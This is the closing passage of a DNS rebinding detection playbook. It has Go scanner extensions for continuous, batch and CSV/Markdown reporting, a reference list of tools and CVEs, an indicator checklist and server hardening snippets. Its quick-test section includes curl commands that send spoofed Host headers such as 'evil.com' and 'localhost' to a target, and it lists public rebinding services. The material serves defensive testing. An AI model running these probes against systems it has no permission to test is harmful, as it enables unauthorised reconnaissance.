log.Printf("ALERT: %s - %s", finding.Severity, finding.Title)
// Send notification
sendAlert(finding)
}
}
}
}
}
// Usage
func main() {
if os.Getenv("CONTINUOUS_MODE") == "true" {
host := os.Args[1]
port, _ := strconv.Atoi(os.Args[2])
interval, _ := strconv.Atoi(os.Getenv("SCAN_INTERVAL_MINUTES"))
if interval == 0 {
interval = 60 // Default: 1 hour
}
continuousMonitoring(host, port, interval)
} else {
// Normal single-scan mode
// ... existing code ...
}
}Batch Scanning from File
Scenario: Test multiple targets from a file.
func scanTargetsFromFile(filename string) {
file, err := os.Open(filename)
if err != nil {
log.Fatal(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
allFindings := []Finding{}
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ":")
if len(parts) != 2 {
log.Printf("Invalid line: %s", line)
continue
}
host := parts[0]
port, err := strconv.Atoi(parts[1])
if err != nil {
log.Printf("Invalid port in line: %s", line)
continue
}
log.Printf("Scanning %s:%d...", host, port)
findings := testVulnerability(host, port, 30)
allFindings = append(allFindings, findings...)
}
// Output all findings
result := map[string]interface{}{
"findings": allFindings,
"metadata": Metadata,
"total_targets": len(allFindings),
}
jsonOutput, _ := json.MarshalIndent(result, "", " ")
fmt.Println(string(jsonOutput))
}
// Usage
func main() {
if len(os.Args) > 1 && os.Args[1] == "--batch" {
scanTargetsFromFile(os.Args[2])
} else {
// Normal single-target mode
// ... existing code ...
}
}targets.txt example:
example.com:443
test.example.com:443
api.example.com:8443
admin.example.com:443Run batch scan:
go run dns-rebinding-attack.go --batch targets.txtCustom Reporting Formats
Scenario: Output results in different formats (CSV, HTML, Markdown).
func generateCSVReport(findings []Finding) string {
var buffer bytes.Buffer
writer := csv.NewWriter(&buffer)
// Header
writer.Write([]string{"Target", "Severity", "Title", "Confidence", "Indicators"})
// Data rows
for _, f := range findings {
indicators := fmt.Sprintf("%d", len(f.Evidence["vulnerability_indicators"].([]string)))
writer.Write([]string{
f.Target,
f.Severity,
f.Title,
fmt.Sprintf("%d%%", f.Confidence),
indicators,
})
}
writer.Flush()
return buffer.String()
}
func generateMarkdownReport(findings []Finding) string {
var md strings.Builder
md.WriteString("# DNS Rebinding Scan Report\n\n")
md.WriteString(fmt.Sprintf("**Scan Date**: %s\n\n", time.Now().Format(time.RFC3339)))
md.WriteString(fmt.Sprintf("**Total Targets**: %d\n\n", len(findings)))
// Summary table
md.WriteString("## Summary\n\n")
md.WriteString("| Target | Severity | Confidence | Indicators |\n")
md.WriteString("|--------|----------|------------|------------|\n")
for _, f := range findings {
indicators := len(f.Evidence["vulnerability_indicators"].([]string))
md.WriteString(fmt.Sprintf("| %s | %s | %d%% | %d |\n",
f.Target, f.Severity, f.Confidence, indicators))
}
return md.String()
}
// Usage with format flag
func main() {
format := os.Getenv("OUTPUT_FORMAT") // json, csv, markdown
// ... scan code ...
findings := testVulnerability(host, port, 30)
switch format {
case "csv":
fmt.Println(generateCSVReport(findings))
case "markdown":
fmt.Println(generateMarkdownReport(findings))
default:
// JSON (default)
jsonOutput, _ := json.MarshalIndent(result, "", " ")
fmt.Println(string(jsonOutput))
}
}11. References
Primary Sources
DNS Rebinding Fundamentals:
- Wikipedia: DNS Rebinding
- OWASP: DNS Rebinding Prevention Cheat Sheet
- RFC 1035: Domain Names - Implementation and Specification
Attack Tools & Frameworks:
- Singularity of Origin (NCC Group) - Advanced DNS rebinding attack framework
- Rbndr (Travis Ormandy) - Simple DNS rebinding service
- WhatsMyName DNS Rebinding Tool - DNS rebinding testing utility
Vulnerability Research:
- DNS Rebinding Exposes Half a Million Devices (2018)
- How I Hacked Facebook's Legacy API with DNS Rebinding
- Attacking Internal Network Services via Browser Using DNS Rebinding
CWE/CVE References:
- CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
- CWE-918: Server-Side Request Forgery (SSRF)
Real-World Incidents
Notable CVEs Involving DNS Rebinding:
- CVE-2018-6142: Chrome DNS rebinding protection bypass
- CVE-2019-11730: Firefox CORS bypass via DNS rebinding
- CVE-2020-8813: Cacti DNS rebinding leading to RCE
- CVE-2021-22901: curl DNS rebinding vulnerability
High-Profile Attacks:
- 2018: IoT devices compromised via DNS rebinding (routers, smart TVs, printers)
- 2019: Facebook API exploitation using DNS rebinding + CSRF
- 2020: Internal Elasticsearch clusters accessed via rebinding attacks
- 2021: Docker API exposure via DNS rebinding on localhost
Security Standards
NIST Guidelines:
- NIST SP 800-53 Rev. 5 - Security and Privacy Controls (SC-7: Boundary Protection)
PCI DSS Requirements:
- Requirement 6.5.1: Injection flaws (includes SSRF via DNS rebinding)
- Requirement 11.3.2: Application-layer attacks (DNS rebinding prevention)
OWASP Top 10:
- A05:2021 - Security Misconfiguration (weak Host header validation)
- A10:2021 - Server-Side Request Forgery (DNS rebinding as attack vector)
Browser Security Mechanisms
Same-Origin Policy Documentation:
DNS Rebinding Protections in Browsers:
Testing & Validation Tools
DNS Rebinding Test Services:
- rebind.it - Free DNS rebinding testing domain
- 1u.ms - Rebinding-as-a-Service
- rbndr.us - Travis Ormandy's rebinding service
Network Security Scanners:
- CERT-X-GEN Templates - This template and others
- Burp Suite Pro - Host header injection detection
- OWASP ZAP - DNS rebinding attack detection
Academic Papers
- Jackson, C., Barth, A., Bortz, A., Shao, W., & Boneh, D. (2009)
"Protecting Browsers from DNS Rebinding Attacks"
ACM Transactions on the Web (TWEB), 3(1), 1-26
- Bortz, A., Boneh, D., & Nandy, P. (2007)
"Exposing Private Information by Timing Web Applications"
Proceedings of the 16th International Conference on World Wide Web, 621-628
- Johns, M., & Winter, J. (2007)
"Protecting the Intranet Against JavaScript Malware and Related Attacks"
International Conference on Detection of Intrusions and Malware, 40-59
- Akhawe, D., Barth, A., Lam, P. E., Mitchell, J., & Song, D. (2010)
"Towards a Formal Foundation of Web Security"
IEEE Computer Security Foundations Symposium (CSF), 290-304
Defense Implementation Guides
Web Server Configuration:
Application Framework Guides:
- Django: ALLOWED_HOSTS Setting
- Rails: Host Authorization
- Express.js: Trust Proxy
- Spring Boot: Server Configuration
Cloud Provider Documentation:
- AWS: Host Header Validation in ALB
- GCP: Cloud Load Balancing Host Rules
- Azure: Application Gateway Host Header
Community Resources
Security Blogs:
CTF Challenges Featuring DNS Rebinding:
Security Conferences:
- Black Hat USA/EU: Regular presentations on DNS rebinding
- DEF CON: DNS rebinding workshops and villages
- OWASP AppSec: Application security including DNS rebinding
- BSides: Local security conferences with DNS topics
Continuous Learning
Online Courses:
- Web Security Academy by PortSwigger - Free course including SSRF and DNS rebinding
- SANS SEC542: Web App Penetration Testing
- Pentester Academy: Advanced Web Attacks
Podcasts:
- Darknet Diaries - Episode on DNS attacks
- Risky Business - Web security news
- The Hacker Chronicles Podcast
Appendix: Quick Reference Card
Vulnerability Indicators Checklist
- Server accepts arbitrary Host headers (
evil.attacker.com) - Server accepts localhost as Host header
- Server accepts private IP addresses as Host header
- DNS TTL < 60 seconds
- CORS set to wildcard (
*) - No Origin header validation
- Services bound to 0.0.0.0
- No reverse proxy Host validation
Scoring: 0-1 indicators = Low risk, 2 indicators = Medium risk, 3+ indicators = High risk
Quick Test Commands
# Test Host header acceptance
curl -H "Host: evil.com" https://target.com
# Check DNS TTL
dig +noall +answer target.com | awk '{print $2}'
# Test with localhost
curl -H "Host: localhost" https://target.com
# Run CERT-X-GEN template
go run dns-rebinding-attack.go target.com 443Emergency Remediation
# Nginx - Add immediately to server block
if ($host !~* ^(example\.com)$ ) {
return 444;
}# Python/Flask - Add to app startup
ALLOWED_HOSTS = ['example.com', 'www.example.com']
@app.before_request
def validate_host():
if request.host.split(':')[0] not in ALLOWED_HOSTS:
abort(403)End of DNS Rebinding Attack Detection Playbook
For questions, issues, or contributions, contact: security@cert-x-gen.io
Need help hardening your environment?
Talk to the Bugb security team directly.